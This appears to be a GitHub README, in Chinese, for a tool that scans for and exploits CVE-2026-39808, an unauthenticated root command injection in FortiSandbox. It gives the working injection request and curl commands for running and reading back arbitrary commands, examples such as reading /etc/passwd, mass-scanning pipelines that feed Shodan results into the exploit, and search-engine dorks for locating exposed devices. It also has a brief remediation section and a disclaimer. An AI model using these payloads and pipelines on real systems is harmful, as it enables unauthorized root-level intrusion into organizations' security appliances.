ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
GitHub: ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
针对 FortiSandbox CVE-2026-39808 未授权 root 命令注入漏洞的检测与利用工具,支持批量扫描、管道集成与严格误报过滤。
Stars: 4 | Forks: 1
# FortiSandbox RCE Scanner — CVE-2026-39808
Fortinet FortiSandbox 中未经认证的以 root 权限执行的 OS 命令注入漏洞
漏洞详情 • 安装 • 用法 • 工作原理 • 流水线 • Shodan Dorks • 免责声明
## 漏洞 **CVE-2026-39808** 是 Fortinet FortiSandbox 中的一个严重的未经身份验证的 OS 命令注入漏洞。`/fortisandbox/job-detail/tracer-behavior` API 端点未能对 `jid` 参数进行过滤,允许攻击者注入任意 OS 命令并以 **root** 权限执行——且无需任何身份验证。 | 详情 | 值 | |---|---| | **CVE ID** | CVE-2026-39808 | | **CVSS 评分** | 9.8 (严重) | | **攻击向量** | 网络 | | **身份验证** | 无需 | | **权限** | Root | | **受影响版本** | FortiSandbox < 4.4.9 | | **修复版本** | 4.4.9 及以上 | | **安全通报** | [FG-IR-25-325](https://fortiguard.fortinet.com/psirt/FG-IR-25-325) | ### 根本原因 tracer-behavior 端点中的 `jid` 参数在未经过滤的情况下直接传递给了系统命令。通过使用管道符 (`|`),攻击者可以脱离预期的命令上下文并执行任意命令: ``` GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1 ``` 输出被写入到 `/web/ng/out.txt` 文件中,可以通过 Web 服务器上的 `/ng/out.txt` 路径进行访问——这为盲注命令执行提供了一种便捷的回读机制。 ## 安装 零依赖。仅使用 Python 3.7+ 标准库。 ``` git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808 cd FortiSandbox-RCE-Exploit-CVE-2026-39808 chmod +x fortisandbox_rce.py ``` ## 用法 ### 基础扫描 ``` # 验证目标是否存在漏洞(使用 canary-based 检测) python3 fortisandbox_rce.py -u https://fortisandbox.target.com ``` ### 执行命令 ``` # 在目标上执行特定命令 python3 fortisandbox_rce.py -u https://target.com --cmd "id" python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd" python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a" ``` ### 仅验证(不执行命令) ``` # 仅检查是否存在漏洞,不执行 --cmd python3 fortisandbox_rce.py -u https://target.com --verify-only ``` ### 使用 Burp 代理 ``` python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080 ``` ### JSON 报告 ``` python3 fortisandbox_rce.py -u https://target.com -o report.json ``` ### 流水线模式(批量扫描) ``` # 从 URL 列表 cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json # subfinder → httpx → scanner subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin # Shodan → scanner shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \ sed 's/^/https:\/\//' | httpx -silent | \ python3 fortisandbox_rce.py --stdin --verify-only -o results.json ``` ### 所有选项 ``` usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only] [--proxy PROXY] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner] Options: -u, --url URL Target URL --stdin Read URLs from stdin (pipeline mode) --cmd CMD OS command to execute (default: id) --verify-only Only verify vulnerability, don't execute --cmd --proxy PROXY HTTP proxy (e.g., http://127.0.0.1:8080) --timeout TIMEOUT HTTP timeout in seconds (default: 15) --rate-limit RATE_LIMIT Delay between targets in ms (default: 0) -o, --output FILE Output JSON report file --no-banner Suppress banner ``` ## 工作原理 该扫描器采用了 **5 步验证流程**,并进行了严格的误报预防: ``` Step 1 → Detect FortiSandbox (title/header fingerprint) Step 2 → Check if vulnerable endpoint exists Step 3 → Inject unique canary string via command injection Step 4 → Read /ng/out.txt and verify canary (strict plain-text validation) Step 5 → Execute user command + cleanup ``` ### 误报预防 扫描器实现了多层验证以消除误报: - **HTML 检测** — 如果输出 URL 返回的是 HTML 页面(Angular SPA 兜底机制),则会将其标记为误报 - **Content-Type 校验** — 命令输出的 Content-Type 不能是 `text/html` - **Canary 隔离** — Canary 必须以纯文本形式出现,不能嵌入在 HTML 标签中 - **`id` 输出正则匹配** — 严格匹配 `uid=\d+(\w+)` 模式,并进行大小合理性检查 (<1000 字节) - **Base URL 规范化** — 自动去除 `/ng` 后缀以防止路径重复问题 ## 输出示例 ### 易受攻击目标 ``` ╔══════════════════════════════════════════════════════════╗ ║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║ ║ Unauthenticated Command Injection (root) ║ ╚══════════════════════════════════════════════════════════╝ mitsec | @ynsmroztas ┌──────────────────────────────────────────────────────────┐ │ Target: https://fortisandbox.example.com │ └──────────────────────────────────────────────────────────┘ ✓ FortiSandbox detected! ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior ▸ Endpoint status: 200 | Content-Type: text/html ▸ Injecting canary: mitsec_a8k3m2x1 ▸ Reading output: https://fortisandbox.example.com/ng/out.txt CRITICAL 🔥 VULNERABLE — CVE-2026-39808 CONFIRMED! CRITICAL Target: https://fortisandbox.example.com ✓ Canary 'mitsec_a8k3m2x1' verified in output (clean plain text) ────────────────────────────────────────────────────────── Command Output: id ────────────────────────────────────────────────────────── │ uid=0(root) gid=0(root) groups=0(root) ────────────────────────────────────────────────────────── ✓ Output file cleaned up ``` ### 不易受攻击 ``` ┌──────────────────────────────────────────────────────────┐ │ Target: https://patched.example.com │ └──────────────────────────────────────────────────────────┘ ✓ FortiSandbox detected! ▸ Checking endpoint: /fortisandbox/job-detail/tracer-behavior ✗ Endpoint returned 404 — not vulnerable or patched ``` ### 已处理的误报 ``` ▸ Reading output: https://target.com/ng/out.txt ⚠ Output URL returns HTML page — this is the Angular SPA, NOT command output ▸ Content-Type: text/html ▸ This is a false positive — /ng/out.txt serves the SPA index.html ▸ Target does not appear vulnerable ``` ## JSON 报告格式 ``` { "scanner": "fortisandbox_rce", "version": "1.0", "cve": "CVE-2026-39808", "scan_date": "2026-04-22T10:30:00+00:00", "total_targets": 5, "vulnerable": 1, "results": [ { "target": "https://fortisandbox.example.com", "vulnerable": true, "details": { "is_fortisandbox": true, "server": "Apache", "canary": "mitsec_a8k3m2x1", "verification": "canary_match", "command": "id", "output": "uid=0(root) gid=0(root) groups=0(root)" }, "timestamp": "2026-04-22T10:30:00+00:00" } ] } ``` ## Pipeline 集成 扫描器将易受攻击的 URL 输出到 **stdout**(所有其他输出均发送到 stderr),使其完全兼容流水线操作: ``` # 查找易受攻击的目标并保存 subfinder -d corp.com -silent | httpx -silent | \ python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \ tee vulnerable_fortisandbox.txt # 与 nuclei 链接以进行进一步测试 cat vulnerable_fortisandbox.txt | nuclei -t cves/ # 带有 rate limiting 的静默批量扫描 cat shodan_results.txt | \ python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json ``` ## Shodan Dorks ``` title:"FortiSandbox" title:"FortiSandbox - Please login" http.html:"FortiSandbox" port:443 "FortiSandbox" ssl:"Fortinet" http.favicon.hash:-1222072778 ``` **Censys:** ``` services.http.response.html_title:"FortiSandbox" ``` **FOFA:** ``` title="FortiSandbox - Please login" title="FortiSandbox" && country="TR" ``` **Google Dork:** ``` intitle:"FortiSandbox - Please login" ``` ## 手动验证 如果您倾向于使用 curl 进行手动验证: ``` # 步骤 1:注入命令 curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \ --data-urlencode "jid=|(id > /web/ng/out.txt)|" # 步骤 2:读取输出 curl -s -k "https://TARGET/ng/out.txt" # 预期:uid=0(root) gid=0(root) groups=0(root) ``` ## 修复 - **升级** FortiSandbox 至 **4.4.9** 或更高版本 - 如果无法立即修补: - 限制对 FortiSandbox 管理接口的网络访问 - 使用防火墙规则阻止外部对 `/fortisandbox/job-detail/` 端点的访问 - 监控日志中是否包含带有管道符的可疑 `jid` 参数值 ## 时间线 | 日期 | 事件 | |---|---| | 2025 年 11 月 | 发现漏洞 | | 2026 年 4 月 | 发布 CVE-2026-39808 | | 2026 年 4 月 | 在 FortiSandbox 4.4.9 中修复 | ## 参考 - [Fortinet PSIRT 安全通报 — FG-IR-25-325](https://fortiguard.fortinet.com/psirt/FG-IR-25-325) - [CVE-2026-39808 — NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-39808) ## 免责声明 本工具仅供**授权的安全测试和教育目的**使用。未经授权访问计算机系统是违法行为。在测试前,请务必获得适当的书面授权。作者不对本工具的滥用承担任何责任。 ## 作者 **mitsec** — [@ynsmroztas](https://x.com/ynsmroztas) - 个人主页: [ynsmroztas.github.io](https://ynsmroztas.github.io) - 100+ 名人堂 | 披露 2,430+ 个漏洞 | 1,100+ 个严重发现如果这个工具对您有帮助,请考虑给它一个 ⭐
标签:CISA项目, CVE-2026-39808, CVSS 9.8, Fortinet, FortiSandbox, Maven, PoC, Python, RCE, 命令注入, 数据展示, 无后门, 暴力破解, 未授权访问, 漏洞验证, 红队, 编程工具, 网络安全, 远程代码执行, 隐私保护